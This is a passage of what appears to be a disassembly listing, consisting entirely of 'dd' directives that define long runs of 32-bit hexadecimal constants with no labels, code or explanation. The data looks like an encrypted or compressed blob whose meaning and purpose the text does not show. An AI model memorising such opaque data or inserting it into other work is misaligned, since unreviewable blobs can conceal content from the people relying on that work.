		dd 0B4AE4670h, 0EF00A03Eh, 0F570A493h, 0C60249E8h, 0C4CE3422h
		dd 0F8E845E6h, 1163DB18h, 0AD8F0910h, 23EB0A0h,	0D3B78CA9h
		dd 54404A26h, 0FB5CA818h, 0B2063F1Ch, 132A2912h, 542447E2h
		dd 29BB1925h, 44490816h, 2284403Dh, 24217FEh, 214C1011h
		dd 19D4086Ch, 0DF84EE90h, 8615C4Fh, 0DA911A8Fh,	99C50200h
		dd 85374FBh, 6BE5DE00h,	460CF7Fh, 2F47526h, 0C8BC9E6Eh
		dd 0CC81A180h, 0FCE2D8FBh, 64004B75h, 0EEC90C7Ch, 5E98EDh
		dd 8E41E9CDh, 0B73D8C68h, 0DE92AC2Ch, 6EF53300h, 0F277F6h
		dd 25CD2B90h, 3B68C75Bh, 47912200h, 1C6776AFh, 15142849h
		dd 746900C1h, 940E1FD6h, 7B00CC2Ch, 551EB43h, 2EB3337Eh
		dd 0E504D9h, 6A4B49E7h,	5C7692EEh, 454DCF1Ch, 37773C00h
		dd 0F95E96B1h, 90DB22D5h, 626CFDh, 0A771D2EDh, 8026387Ah
		dd 5B24D903h, 0E64A39h,	0AFD26241h, 0B9EDDF22h,	0FE87A00Eh
		dd 0CB1000A5h, 3EB0D6BDh, 0B79D8A6Ah, 0FBA4C03Dh, 8372CC2Ah
		dd 0F4603Dh, 18C328DFh,	9D1A2Eh, 0D37C8C15h, 73A59E47h
		dd 8FB21E18h, 254C19h, 4F6801BBh, 3EA27AFCh, 0B114AF05h
		dd 0DDC0F0DDh, 0A06D6h,	0C29C9A36h, 63FAE946h, 4C448B00h
		dd 0D93FCFC5h, 0E1EF252Ah, 8FBA7E0h, 0E32D1701h, 9589C756h
		dd 735067D0h, 0A13F0980h, 90A7ADEBh, 5D2FE07Eh,	0D200F138h
		dd 8A0DD088h, 2E83C33h,	204556D4h, 0D8A0BB6Ch, 1F99B837h
		dd 0F3DF8600h, 0C2AF9D13h, 303600DDh, 0BBE1564Ah, 0B500AE05h
		dd 9DB6E4D2h, 0E69942Ch, 0BF7B4DB8h, 102BA0E1h,	339A92B3h
		dd 0AF4C18C0h, 0AB571EE7h, 2E074052h, 156E6CCCh, 45D7B000h
		dd 19944B53h, 0E3F318DEh, 0D3DD6007h, 0BD4FC000h, 55EC6138h
		dd 14E20354h, 910A138Dh, 3CAA9A88h, 7EF0EB60h, 5DF5B1h
		dd 398C1466h, 1ADD088Eh, 0C90000B2h, 86B7D4A2h,	0E32FFCh
		dd 36BD3BC3h, 960FDE63h, 6460991Fh, 40B3BA40h, 4624A89h
		dd 47FD9485h, 661C8018h, 1D00AA7Dh, 119F4558h, 7274EBh
		dd 0D48D03E7h, 9C54F990h, 26008B70h, 2376180Bh,	1CA8160Eh
		dd 5DFBDA60h, 73A94695h, 780050B5h, 481065CAh, 415867h
		dd 0FF23B4EEh, 99274557h, 0EF6B0301h, 5F89CE95h, 0AD4820h
		dd 0D7DBF118h, 3342C7E5h, 2E1EA803h, 0A9922230h, 4981594Eh
		dd 5817E3C1h, 0CE16D04Dh, 87FC2900h, 0F0FBF2C3h, 2F6600F8h
		dd 1E37789Eh, 4D787FCFh, 6318D00Eh, 7364E465h, 35BB1C80h
		dd 5A940060h, 0D4FD6FA6h, 7507141Fh, 3385919Eh,	0AC1D0A10h
		dd 0AAB80036h, 0A28BE098h, 579CA0Ch, 7C318900h,	0F2CD2D2Fh
		dd 0D54C00DDh, 4DB90A83h, 252618C7h, 2CC01478h,	3221799h
		dd 0A846290Dh, 3EC84875h, 16002326h, 0B79F9101h, 340242h
		dd 5D3CD229h, 0C8B804B9h, 50D4A724h, 8852B00h, 0D5F353h
		dd 0A61C4DB6h, 19CED6DBh, 0B1F84890h, 11FE040h,	4470F2A3h
		dd 0DCB6DD2Ah, 170EBCFDh, 6024113Bh, 0E42DD850h, 3A5C2A70h
		dd 8DC212E8h, 429803D2h, 80ACD801h, 0BBC64B7Fh,	51F3B400h
		dd 8B284676h, 24E012h, 61B263F7h, 0DBA49894h, 9B0322F6h
		dd 6ADFC3A8h, 0C660B045h, 0E20A003Ch, 0F3AB884Eh, 7500E95Bh
		dd 0A1E09F94h, 57E48h, 760722D5h, 6E7F999Dh, 462C3000h
		dd 44C74F84h, 14BC85h, 0B752CD66h, 0C61DAA8Bh, 3D401232h
		dd 0B1A087CBh, 36380058h, 982FDC27h, 0FA13251Bh, 0C03949Ah
		dd 88D4097Dh, 428304h, 0E1E8801Ah, 2264ED10h, 3600B676h
		dd 8EE5BD43h, 0A0CE4EF4h, 28846BD8h, 588D3B1h, 0BBE9A898h
		dd 4870C072h, 0C80093E4h, 4C29D5DEh, 0B62B19h, 8C956923h
		dd 10420274h, 9676AD13h, 0B9EF4C70h, 6A0C014Ch,	0AE4B203Dh
		dd 639EF403h, 0B580CE03h, 0D03C2CA5h, 23628ACh,	0FFD613D7h
		dd 2860100Eh, 0E498972Dh, 6B67C913h, 45EB4800h,	0AE32C7h
		dd 381CACA2h, 6110CC01h, 9CAAE4EFh, 71003F7Dh, 52E264D2h
		dd 8B1875h, 2844FA33h, 0A7D34B9Fh, 45950C03h, 0E0F81B60h
		dd 0EC58Eh, 333A083Ch, 50B67AC0h, 9DCE2B00h, 0EF70536Bh
		dd 0B7CF0779h, 0F2B1497Bh, 1CD88CB2h, 5781C500h, 0D11238D7h
		dd 27AC00AAh, 20238B43h, 970F9FF9h, 2588723Ah, 0E82053CCh
		dd 31C63Fh, 0D440900Fh,	44B4BA86h, 0AC993205h, 0C4809A85h
		dd 0A49B72F1h, 3BF0A8h,	6AAEE2F6h, 0D4D03F8Dh, 6079900h
		dd 0CBD7547Fh, 0C2DC0753h, 70BDCAF3h, 0A3BF80E3h, 0FF9890Fh
		dd 313D811Eh, 2E60C364h, 0E0270068h, 9BF7D360h,	5890A86Ch
		dd 0EDD57E00h, 58A69EDCh, 22FEF4h, 3C8F55E0h, 0C8A90C84h
		dd 3256C001h, 6236B9DAh, 0D4109C40h, 29AD1F40h,	0ECA6C035h
		dd 53448676h, 501C8300h, 2DC65513h, 3F8E03F8h, 3614899Eh
		dd 6FBCADB9h, 0DBEB6E00h, 0BDFFB8h, 0D3E95F12h,	403FD159h
		dd 0E6EEBB00h, 7BDA7004h, 0D27AAFh, 0D79B65Eh, 8F357820h
		dd 0B4A54E02h, 63CF0613h, 0DC3FE0ECh, 2E789872h, 1E75AB43h
		dd 8BB8E4C2h, 1E848096h, 9B74C008h, 23002984h, 12A632FEh
		dd 77BE07C8h, 347B2E82h, 0CBF60199h, 846855A3h,	0D0A9DC6h
		dd 9C3F78C0h, 5898A8h, 0AF4AE41Bh, 0D49136A5h, 10E02826h
		dd 7E67AA07h, 1792C000h, 0FF550070h, 0A8B52D21h, 7B17D441h
		dd 0B70E64B1h, 0B1EE0FBh, 0ADFC293h, 4F7840CDh,	870C0074h
		dd 0E1A29088h, 0CD435717h, 0F25A5003h, 6CE085B9h, 0E4214DBFh
		dd 3983930Eh, 0B1180920h, 2D007EA2h, 21F7871Fh,	0E59A4Eh
		dd 794474AEh, 0F1CE3847h, 0E0A5C030h, 6912957h,	3948E1DDh
		dd 0BB3EE995h, 81CC4C14h, 174CC6D4h, 0FFE31834h, 0FC2043DAh
		dd 2E3E2C80h, 0FDA700E8h, 68E3854h, 1E3E69E9h, 5015004Bh
		dd 0C405E578h, 51D202A2h, 0C1EDF064h, 619BB140h, 0B61D509Ah
		dd 5180B5ADh, 0A0276635h, 8E16031Bh, 73890712h,	5819D9D0h
		dd 0CB63A600h, 97C7C657h, 0DBF305E0h, 8837EB85h, 1900E5D8h
		dd 469EEA1Ch, 65905Dh, 0E104E3D3h, 5539B4C5h, 0FF1BBD00h
		dd 490CADA9h, 766D003Fh, 56AEC81Dh, 3900CD7Ch, 5879E921h
		dd 0C25703h, 0D33C09DBh
		dd 0AD9893FAh, 0D0AB5400h, 0E9EFF25Bh, 0A80714DFh, 9700C870h
		dd 1646B0E8h, 0C1034B5Ch, 72C4D151h, 0E760D77Ah, 2469C0DEh
		dd 97325Fh, 0F243FC3Eh,	0B80F86BFh, 0A00D7788h,	0A6E8F1FFh
		dd 51120929h, 8080FECDh, 2AEADC83h, 6479AE0Fh, 90B32553h
		dd 4300C85Eh, 232B4196h, 0F54700E5h, 0A6B32F1Fh, 0D04C4D67h
		dd 3B051FECh, 2C91F0C1h, 8850FDE4h, 0B8E885B9h,	8F9700C5h
		dd 557F1E1Ch, 0E90360BBh, 6C0F95CFh, 0C99AC0F1h, 5F9B049Ch
		dd 801B7ADEh, 49D77874h, 0C4B05617h, 99ADD400h,	4C9DDBh
		dd 73FDBF31h, 0B5399C11h, 0BCACFA00h, 545D708Ch, 48CB0046h
		dd 25716EF4h, 68123DECh, 0C916BE6Ah, 49575482h,	1C20D6B0h
		dd 8D2D007Dh, 0EB18F702h, 4002643h, 385609DEh, 0EA7B4530h
		dd 52D728E1h, 3C940094h, 0DCF78B72h, 0EE00EB90h, 0F5D4834Ah
		dd 88A65Bh, 0E3A4DFB2h,	0A39BD6EFh, 0E262781Ch,	405F3F0Ch
		dd 2F2D0913h, 347880D1h, 235D8100h, 0F03FDE8Bh,	0CE0B0FD6h
		dd 74E0FFBDh, 34550E8Eh, 0CAF1F0Eh, 248AA32Ch, 81C000BFh
		dd 0DD2FE662h, 372E212Ah, 4000FC79h, 0FF6F8DA1h, 0D0A9013Dh
		dd 0BBEF49A8h, 0F69AFC98h, 0BAEE831Fh, 7C0D7140h, 58300Bh
		dd 24A789C4h, 22196F5Bh, 3B916303h, 0D09FA42Ch,	0A01DD6E2h
		dd 0CE9CC8h, 0B3F7FBE8h, 0AACDD4CAh, 2C7AA838h,	78287DC5h
		dd 7C984D50h, 780103F6h, 5EBE2A3Dh, 0ABF06085h,	0D07605B5h
		dd 0C013EE95h, 802C491h, 80D98E3Fh, 1AF65B21h, 265242Ch
		dd 153B5FB0h, 0E8C03A5Ah, 0BF1843A0h, 49282F8Ch, 0F0700E60h
		dd 0FF2042E7h, 0BA4E1ECDh, 6DF33E17h, 0A086550Eh, 0E1227CE9h
		dd 0ACBB1CB0h, 0D7A1C5EDh, 871D800Ah, 37784E77h, 0D6F23100h
		dd 56D14F3Ch, 0C0CB4A92h, 17458528h, 0CEF79700h, 0F46D6A8Ah
		dd 0E24B0002h, 5660B8E4h, 480031FEh, 8D16084Ah,	74D7711h
		dd 0CEF588FFh, 0F0935750h, 0EF05757Ah, 0DA6B580Bh, 0B1C00084h
		dd 3955B39h, 0B536713Bh, 96A14DAEh, 764860D8h, 9C8BAC00h
		dd 95FC9FC4h, 8C77C8h, 302315DAh, 0CCC244FEh, 56C5CE00h
		dd 51D487A0h, 398C9668h, 0D501DC3Bh, 0A13FEAF3h, 216F715Eh
		dd 0A0E6D21Ch, 0EF7CCE0Ch, 74240Bh, 41B7C794h, 1134B26Fh
		dd 400848h, 4C648085h, 1D546102h, 809C16D9h, 9086ADAEh
		dd 4458A201h, 66406037h, 5CE1Dh, 0E90FFA49h, 60E6CC2Ah
		dd 6434A900h, 3CC75A52h, 5C5B895h, 42C33FEBh, 760CC09Fh
		dd 980090A4h, 8FF14F04h, 22A61Eh, 0BA83D05Bh, 9475EA93h
		dd 57A7E701h, 0FAB1C71h, 97502082h, 26C0671Eh, 6000488Bh
		dd 3E7228FFh, 0FB7ACFh,	0B3E58CE4h, 0AF2A794Ch,	0B9457305h
		dd 0F40093CEh, 0D64E2C4Dh, 527980F1h, 0ECE30B00h, 6166806Ah
		dd 0F7370063h, 0BC9E70D8h, 23000A4Bh, 0DA243E44h, 7306E8h
		dd 17CCB51h, 84F1ECC4h,	69763C00h, 5F54E31Ch, 0B58340C9h
		dd 862577h, 0A820F001h,	813461E7h, 0D8022E00h, 0F9BBE2F7h
		dd 6A6E2EF6h, 54BA02E6h, 576230D1h, 49BCD460h, 0F200C090h
		dd 6EF1FAC9h, 4C958Ah, 2062CC4Bh, 0F527166Dh, 8FC8371Eh
		dd 71CB4E4h, 6C23E240h,	69D983h, 0DDB3133Ah, 44F277B9h
		dd 0CD387105h, 4980A064h, 8E3668h, 4596AA54h, 6A4A35BCh
		dd 1C002C90h, 0C4875CA8h, 0E15AF2h, 0DFA0F012h,	0E9EE6C9Ah
		dd 0B944C00Fh, 424CA792h, 0DACBE390h, 83100A5h,	446C67F2h
		dd 59757D9h, 18A4A280h,	89FF2ADDh, 0B60C02D8h, 749CE9F4h
		dd 5E007470h, 2EF9564Ch, 73D0DFh, 846B1A9h, 96BD581Fh
		dd 2571D4ECh, 5DB93D00h, 697DB622h, 0A450FD8Fh,	1EB00CCCh
		dd 2442DD56h, 87791D48h, 0C0DCEC2Ch, 8612D3A9h,	911323Fh
		dd 8018E5A3h, 5817E716h, 24640270h, 6AE2F390h, 3CE543C0h
		dd 579C4502h, 0E80E5AECh, 0EA4490E4h, 0A9010099h, 8ED7FFFBh
		dd 0B0002C07h, 0F329C674h, 62406Eh, 754C146Ch, 99D83E2h
		dd 0DCD3B72Eh, 1DAA2700h, 0E42CDCD2h, 717154h, 2BDA6C55h
		dd 0E1F326D8h, 0ADB47500h, 0EFBB2447h, 292E002Ch, 22B9EB53h
		dd 949E5BDFh, 0A31F7680h, 0E701E7Ch, 99966CAEh,	1A6AA060h
		dd 0E10052A4h, 0C3922BBh, 1D81E4D2h, 0C04FFCE6h, 65CC7C7Dh
		dd 0E507759Ah, 970B382Dh, 355DB610h, 73DFE23h, 6E41683h
		dd 475A009Ah, 4404DC75h, 5B23D632h, 77999680h, 506407C3h
		dd 0D028A860h, 0C96D3BEBh, 0FB8D558h, 40B8B5h, 0E2231D43h
		dd 0A49E00DDh, 21D2EA5Ah, 4F00E3CCh, 0FB724609h, 397105h
		dd 0B2E68ED0h, 495E6848h, 0D4E7BF00h, 35C979C5h, 2FBFCDDh
		dd 0AC065341h, 0A0C059D2h, 800056F0h, 0F40595F9h, 97FE33Bh
		dd 97AE6F5Ch, 53FB74A0h, 70E8D8BEh, 7577A890h, 7E329C00h
		dd 74A13B93h, 63580018h, 0E6B4C447h, 5D1F037Bh,	0F86AB9A9h
		dd 1389EEC0h, 0E49908h,	739014Eh, 0D96D7F12h, 285B2D01h
		dd 27EAB47h, 1380C60h, 50E3B2B9h, 0D033D48Eh, 0EE007C6Bh
		dd 8C1D6412h, 99CD3h, 417EAA3Eh, 7606B559h, 183748h, 1B30279h
		dd 10BCD8h, 0DB34B1D5h,	139CBFC0h, 644C303h, 0D06953CDh
		dd 0D5C662h, 0BF8A16B7h, 0E6D8DAF2h, 2C49C800h,	8727B0BCh
		dd 8906F1Dh, 6A9C24E0h,	73008539h, 0D4AA60C7h, 0BA91D14Ch
		dd 0A7490054h, 3E2D147Eh, 8200AFD8h, 4053CB5Eh,	7FB263h
		dd 1CD7BF79h, 6A6476B8h, 9F7700B4h, 2B1261FFh, 4B304C80h
		dd 0BCC072Fh, 8036CA65h, 19F25AE6h, 0D7CEA701h,	266ADA48h
		dd 1EF6C0CCh, 45545EA5h, 80843C81h, 584B7358h, 9A32B500h
		dd 8C14D074h, 0C1351EFEh, 366607C5h, 0E03A878Fh, 94E30E6Bh
		dd 0AF9EBE25h, 8E4460E0h, 7EB988B2h, 0CDEEB0h, 0B38CF515h
		dd 2012CE67h, 0C75EEA16h, 696F0C01h, 4DEC56D9h,	2B0F03B5h
		dd 0A20BA1D0h, 900A5000h, 86E48A1Bh, 21A41788h,	6F1CC3h
		dd 5C14B8A7h, 110083B7h, 34372CBDh, 0F6C41AE7h,	0BE523F91h
		dd 10280D03h, 0D2DC0976h, 0C45C0B48h, 0CF5A7080h, 251559h
		dd 18426EEDh, 0E5DF114Ch, 0FF2FAE1Ch, 0C8800DD3h, 0B4FC6Dh
		dd 5B8ECE85h, 81B62B79h, 52895900h, 97E733CDh, 4B250530h
		dd 44BAA073h, 0ED532CF8h, 0E6720170h, 0EE7BC559h, 6194D1D0h
		dd 0CE78880Eh, 3E84E15Ah, 0BE1E881Eh, 0C6C9BC00h, 5E9753h
		dd 0A09D752Fh, 0AB62F35Fh, 6D00E8B0h, 9B377F70h, 0FED04D1h
		dd 208F73B4h, 3CFF85A0h, 670F2B34h, 0C09CC617h,	66F56921h
		dd 718D1D5Ah, 346D01D6h, 806FF255h, 0EA2FF881h,	14509FB6h
		dd 5C2D2CFBh, 5AD30A01h, 419673C8h, 0D856046Ch,	1900B78Ch
		dd 2639F3EEh, 55EDDDh, 885922E5h, 0B2EA111Bh, 7EF52F00h
		dd 17FE7C4Bh, 0F8EB0074h, 1E0D32ECh, 220093F1h,	520E1545h
		dd 6C1349h, 0DF2C5F86h,	8DBEEA6Fh, 0F2FD8900h, 0B164A81h
		dd 6E9048h, 85345DC1h, 0D7B8ECF6h, 472C3900h, 43AFD0ACh
		dd 0AA3800DBh, 86D5A944h, 67D0507h, 5C652A00h, 0C3A88B73h
		dd 16B000EFh, 0E904AA18h, 62E24619h, 507EED00h,	2E3BC45Bh
		dd 0A51404E4h, 0FCE0B00Dh, 1CBD804Ch, 133EB9h, 0A9C71983h
		dd 0E6B81E7Dh, 778F7400h, 0A6E2E9BEh, 90A0B5F3h, 470985CEh
		dd 2D389C02h, 8001532Bh, 0DA6ECDFCh, 5F590074h,	0DDC675FEh
		dd 209D5231h, 6E2D16C4h, 6CC03801h, 62C3BB00h, 5BB7F121h
		dd 0AF43C00h, 18EEF060h, 30CCB8A0h, 8C209D25h, 0DD38785Fh
		dd 0EA4403E4h, 0E16669FEh, 42C8048Bh, 3908C1A2h, 708ADEE5h
		dd 0B3188872h
		dd 2879F952h, 60FA7590h, 1ED44A31h, 1E2E71Fh, 0B4977301h
		dd 8A38F13Ch, 1CE88854h, 1D409280h, 570061F5h, 19CBC7BCh
		dd 276B2210h, 0F8405887h, 0AB00AFEAh, 44F73EEh,	85C948h
		dd 52307574h, 6AB6DFE3h, 0BFDCF000h, 0F9E49C59h, 61DB00F1h
		dd 2B8777ADh, 0FC0080E0h, 75DDE79Fh, 0D05F7h, 8AECD668h
		dd 0A134E84h, 66036ECh,	1A05DC18h, 0BC30031h, 9A35E32Dh
		dd 693EFB24h, 3B981E0Ch, 54BD9E3Dh, 37A8600h, 0F00864h
		dd 0C81106C2h, 0DEA7EEDAh, 5E78B07h, 1AC0C368h,	0C551B51h
		dd 0A961E32Ch, 0CC00B668h, 66BE0590h, 0DB1612h,	9BA1DD73h
		dd 21C96014h, 46E918C0h, 77F9A67h, 553DFBBDh, 8C6F7F47h
		dd 0ED8F7101h, 18288326h, 98A70EE1h, 30801496h,	0D181565h
		dd 2D0CC60Ah, 791161E6h, 6FB0FCADh, 414F139h, 84750CAAh
		dd 0BB101Ah, 0EFA9B2A5h, 66A23889h, 25BEF002h, 855393DCh
		dd 0B681179Bh, 0ABE86CF3h, 6480004Dh, 0FA15C1A1h, 510148B8h
		dd 755E2F74h, 0C6F8CF1Bh, 23961D28h, 213D40C1h,	6E628559h
		dd 7E2E2D00h, 0A68A2088h, 3F7000E4h, 8E8774BFh,	6700A454h
		dd 5A65812Eh, 0F901ECCh, 76D47938h, 95F5C860h, 88004D8Ah
		dd 5D904CEh, 11BD751h, 0CC43C2E5h, 0D89B21D0h, 0DA58619Eh
		dd 35F60083h, 25119D41h, 28E32CBAh, 4BEC0016h, 0CC5C36CFh
		dd 7E57B539h, 0C2916D1Eh, 10E18143h, 8E0E8ADAh,	5A54E094h
		dd 0EABB992h, 8D14C0B0h, 0C4EAD7A1h, 5BA8E741h,	5607CD80h
		dd 862E2994h, 9EAC4FD0h, 0FA950117h, 3A8C25FBh,	10E5314Ah
		dd 5A1FA9BCh, 3B5F8800h, 5D812539h, 0ADD30015h,	6F3E23FEh
		dd 0D800AA2Bh, 0F55202B3h, 0F7F0B0h, 7E3C7BE3h,	12246F70h
		dd 0F93AF104h, 37805E4Ah, 0E47B3074h, 5B6B00F7h, 702FFB9Dh
		dd 1300CB08h, 142D8F21h, 70E6576h, 0F3E7D91Ah, 0FB0474AEh
		dd 86623F0Bh, 1EB84850h, 3B37B989h, 972DD30Fh, 679AEB40h
		dd 0AB1FA40Fh, 1BC06D17h, 16ECE694h, 793100D5h,	1FC32F87h
		dd 53008877h, 0F80ACB8Fh, 0C0C567E2h, 0ABBE1E31h, 0BA727F8Dh
		dd 0AA00CC7Ah, 0E2405D06h, 0B9EB96h, 17A64FA8h,	0FF78841Eh
		dd 9C876F28h, 0C2F22710h, 3D1FB300h, 2C41E689h,	0A2802807h
		dd 1A00036Dh, 3864E1h, 2690F8E9h, 0CA2FCC07h, 76431D48h
		dd 0AD43F900h, 0F69EAB9Ch, 5CCF0194h, 4ED1144Bh, 0DF20C09Ah
		dd 9F2EA800h, 1A365B1Dh, 0D3E0A1h, 61B7DC1Eh, 5C2C6CA3h
		dd 9700C3F0h, 0E04E76C0h, 482B2410h, 0A400140Ch, 1ABD9A0Fh
		dd 0C400ED75h, 81C722ADh, 0FAE88684h, 3A293C16h, 0F8B91E83h
		dd 8DA82708h, 0EF00D3DCh, 7FD4415h, 2E420BCAh, 0E6C755h
		dd 39D52C2Eh, 7B7DF36Ch, 90EC1EFCh, 6A193F61h, 0D1D14863h
		dd 1C5EF9C4h, 4F4BDCEFh, 0E5AE65FDh, 0A1DFC73Dh, 0E74AB091h
		dd 0DBEC3915h, 0BC03660Eh, 713C00D2h, 0E4CC826h, 425DBA17h
		dd 45804BC0h, 2500ADFCh, 54133DF5h, 6076E8A9h, 55C810FBh
		dd 0C600F0AAh, 82A4E725h, 0F4C78F1h, 911DA9Fh, 7AA060CEh
		dd 2E5FBD01h, 29042400h, 0CEF1FCA3h, 0BE060040h, 0B6D3A115h
		dd 0AD395DABh, 0D44A8068h, 0B5CE24FCh, 0A1830091h, 16ABBA0Ch
		dd 0F073261h, 86343D97h, 0E925230Fh, 18C4881Fh,	49B40037h
		dd 0F18FA6FEh, 0B8F0472Bh, 7F2E7900h, 0BED3AB41h, 625D005Ch
		dd 8F66C005h, 31077009h, 4FECD1B2h, 0C3A2A981h,	0F25B88C0h
		dd 0C67B0050h, 0E4C822EDh, 0A10A8757h, 0A4A6D19Ah, 682C4602h
		dd 0C1164016h, 4A931DD9h, 7FE24057h, 14FC1017h,	0A93A2E01h
		dd 9EBFC55Ch, 873DC0h, 9DB87851h, 42DEEBC3h, 0A6006A70h
		dd 552EC52Fh, 0EE4CA07Eh, 277C0004h, 0A3B76701h, 1F00EC8Eh
		dd 0C09661C6h, 14098773h, 0FAB38413h, 0FBD47400h, 0FA0A239Eh
		dd 2316B00h, 0E34312DBh, 5AA6009Ah, 0E401C20h, 49253B2h
		dd 0A97C5400h, 0FB5CB8FFh, 0E1390393h, 4DBFA00Bh, 8646F5D0h
		dd 0ED03851Eh, 0E85CCB40h, 0CCC6CEh, 0D3D9E2F6h, 0F5AEF00Fh
		dd 0C20027F4h, 0A345E880h, 48D8643Ch, 1A240516h, 27E3AC38h
		dd 0BD02E3D0h, 0D12646CDh, 3CDB40BFh, 0EC1415DFh, 8F04A0BBh
		dd 8026AF73h, 0B7940968h, 901BCF00h, 8C685CD2h,	0F8F30087h
		dd 0B1B3AD40h, 18C0BF7Bh, 7FDEB528h, 7CD30033h,	0C7CB5A70h
		dd 0ED267DE6h, 10018248h, 9108F25Bh, 0CA005571h, 12C2265h
		dd 0F9869CDAh, 0CC27BFDFh, 6F00FC78h, 20E34B06h, 729E2B2Ah
		dd 79FE028Eh, 0B61E6091h, 0DEC4FD60h, 491DE700h, 862C1610h
		dd 0D6F0004Dh, 0AF7863D4h, 370083EEh, 0F6EAABB7h, 0CEC520h
		dd 28E9162Eh, 3850FC77h, 250DD000h, 0FBB48CA4h,	919F002Dh
		dd 18DEA362h, 7D0058DBh, 618B52B2h, 0E0D7B87h, 67FA3B06h
		dd 535451C0h, 0C300B79Eh, 4BCE6EE5h, 58848DA7h,	0DE00608Bh
		dd 4AECC8CAh, 36002C99h, 0A012DD74h, 7656103h, 8801E5E0h
		dd 1326E070h, 3E009F68h, 0E9F3894Eh, 7167CB0Eh,	0EBE50141h
		dd 74AEE205h, 8324FC4Ch, 0B1208C01h, 519C7F7Ch,	80F860h
		dd 15B729E6h, 0A0F5C96Dh, 9014B324h, 0C249007h,	88E4BA03h
		dd 7B9B856h, 52F75815h,	0CD98E064h, 0D9773B4Bh,	0F26CDF00h
		dd 0F9487A57h, 385600E3h, 0E461FD40h, 950059EAh, 0B5F58296h
		dd 3152692h, 0B8C1B7E0h, 1BE874F6h, 6700B64Eh, 683453ABh
		dd 1E9F5A60h, 0C06CE1E0h, 6977D4ECh, 0CA00EFE9h, 0C71E6D23h
		dd 7F47968Dh, 0C0280146h, 0C50DD848h, 4A31CC81h, 38229180h
		dd 4580AF8Dh, 0A0A35543h, 0D5014B16h, 67875320h, 0EB406AFEh
		dd 0F01912Bh, 0F3D746B2h, 0D4C6ECC3h, 8A177DA8h, 0A9D9400h
		dd 30D8388Eh, 77D3014Ah, 96734150h, 0FC2CE470h,	10016404h
		dd 2CD0F380h, 94F972h, 0A55EB41h, 2B79519Fh, 0A11EFC78h
		dd 91019708h, 0B5F06B05h, 0ADF3080h, 0AE664AA8h, 64F7751Ah
		dd 0C3D86008h, 68C103B0h, 32CC74D6h, 790D31E6h,	50DDA00Ah
		dd 94206083h, 810AF1AAh, 84AC21A7h, 55FB3340h, 30AE69DAh
		dd 19322080h, 8E01F659h, 6CE3753Eh, 588C956Eh, 7AA00AA1h
		dd 286A053Eh, 107D0C73h, 366670A0h, 6E84A8C0h, 8E62D6h
		dd 0F853711Ch, 49DAAA54h, 2FD94F00h, 0BD9613C7h, 0B1AF0026h
		dd 43634287h, 0DD1E7632h, 4B008990h, 0C3625020h, 7EAF008Ah
		dd 0A6B81CD6h, 1B094E8Ch, 0E8F851Fh, 582B6016h,	896668h
		dd 83ED3C99h, 4905C49Bh, 531653Fh, 0C8B77A41h, 62CFC0C0h
		dd 7DA60040h, 93AB52B6h, 8D3F94E9h, 442D00C3h, 5890A46Bh
		dd 67CA0099h, 20409FBCh, 1F039E66h, 2B93A07Ch, 0FC319088h
		dd 0FB2A01ECh, 0B802C365h, 74F07F0Eh, 0B5A300F0h, 93E24727h
		dd 3A033E42h, 0B7AC2678h, 0BE3BE0B1h, 1204169Ah, 46DC22F7h
		dd 66000497h, 52F0BABEh, 3CB82841h, 0C8841A0Ch,	807F287Eh
		dd 960162B0h, 71D8003Dh, 0A1E66687h, 0AB303F8Eh, 0C4EC308Ah
		dd 0A784A0D2h, 0D69C0040h, 0E66B624Dh, 38A0DA7Bh, 0E412EBE8h
		dd 1040BDA8h, 3C73AEA6h, 550B1234h, 991DAE95h, 0FF219E18h
		dd 2E7300B6h, 5BEE0FD0h, 35038D84h, 18DC9742h, 92590096h
		dd 0B13E67C7h, 5C902BC1h, 56DEE61Dh, 4A6AEBC7h,	2AF4BA0h
		dd 7131C392h, 5B832E3h,	0B53251FFh, 0AF790910h,	32FB40A0h
		dd 0BD1834h, 84373D43h,	0CB315C68h, 360225FEh, 30426E19h
		dd 9788843Eh, 70B42440h, 4B03D45Dh, 0DA91A77Fh,	0C63F9802h
		dd 0C172241Eh, 3C0C8194h, 0E4B35B61h, 3A3F638Ch, 201CD3E3h
		dd 2F8324FCh, 0BD6885C4h
		dd 0A7800010h, 92BA6D9Eh, 0C04B2C14h, 32F8806Ch, 43E7057Dh
		dd 2184304Fh, 232F054h,	0CE93B6E4h, 0D080612Dh,	83F690EBh
		dd 0CB349h, 0A77E3941h,	339F5419h, 970920F1h, 40E12109h
		dd 30A9007Eh, 790269EBh, 0A2A42860h, 221214C0h,	0D723F4D0h
		dd 3F73B701h, 2E0E2334h, 0EA005504h, 3276FD82h,	4C6A00E1h
		dd 69D9440Ch, 0F04C1B2h, 97ABD20h, 6A4F8B82h, 0DE3D615Ch
		dd 8AC3448h, 1B343E73h,	14EB5C4h, 67A473A0h, 0EC00F8DFh
		dd 904D9ED9h, 0C0A7A037h, 19355EC0h, 8EF09284h,	48F1CB20h
		dd 0C7022846h, 6BF567C5h, 32659C8Fh, 7A4444ECh,	73B830AAh
		dd 0BB34103Ah, 98AFC84Eh, 0E8D9F0FDh, 96BEDE03h, 0CDF58059h
		dd 30FBC822h, 0B4117E38h, 9E884C19h, 7E3FE080h,	12E10238h
		dd 2021DEDCh, 97C8688Ch, 10F3940h, 6AD7F956h, 0F8BF74EEh
		dd 0C2484C5Dh, 44080AD8h, 381B4D1h, 0F253408Ah,	883FF980h
		dd 0C664E3CFh, 417238CCh, 0AC21CEFAh, 0B0FDCF60h, 1B00DAA5h
		dd 0E3C2216Eh, 60333E95h, 0C589F8C6h, 20E9597Fh, 13131894h
		dd 0D81DD415h, 0E30BB5C1h, 30303CC3h, 0CDE28F8h, 20087B60h
		dd 12064220h, 3F0BDB0Ah, 34C88028h, 0F029D4B2h,	0F900C123h
		dd 0CF059032h, 8760864Fh, 32F15721h, 0E2AA1E6Dh, 607C20Bh
		dd 0A8A0A437h, 4BDB5A54h, 0A28A5F00h, 6A9FF729h, 0DCEA0098h
		dd 3AC29720h, 7B03B9FBh, 8970812Dh, 0EED80393h,	9E44378Fh
		dd 0A035B02Ch, 0B8F66343h, 3CC6F43h, 41558851h,	0D5A8C1FBh
		dd 9F0632DAh, 0A784EB60h, 2F4B0031h, 2C6DADA5h,	690205D2h
		dd 7B0C738Dh, 95A8A53Ah, 0A04A83h, 0C152DE31h, 5C5D2FF3h
		dd 3A03B7ECh, 8AD52847h, 60EEF6h, 3C7CB3F5h, 9A22DEC6h
		dd 48D23378h, 902E9405h, 0C78E8C42h, 507844F0h,	4300C0Ch
		dd 85D6AE3h, 9E1880A7h,	3849480Fh, 0A220012Ch, 130DCD53h
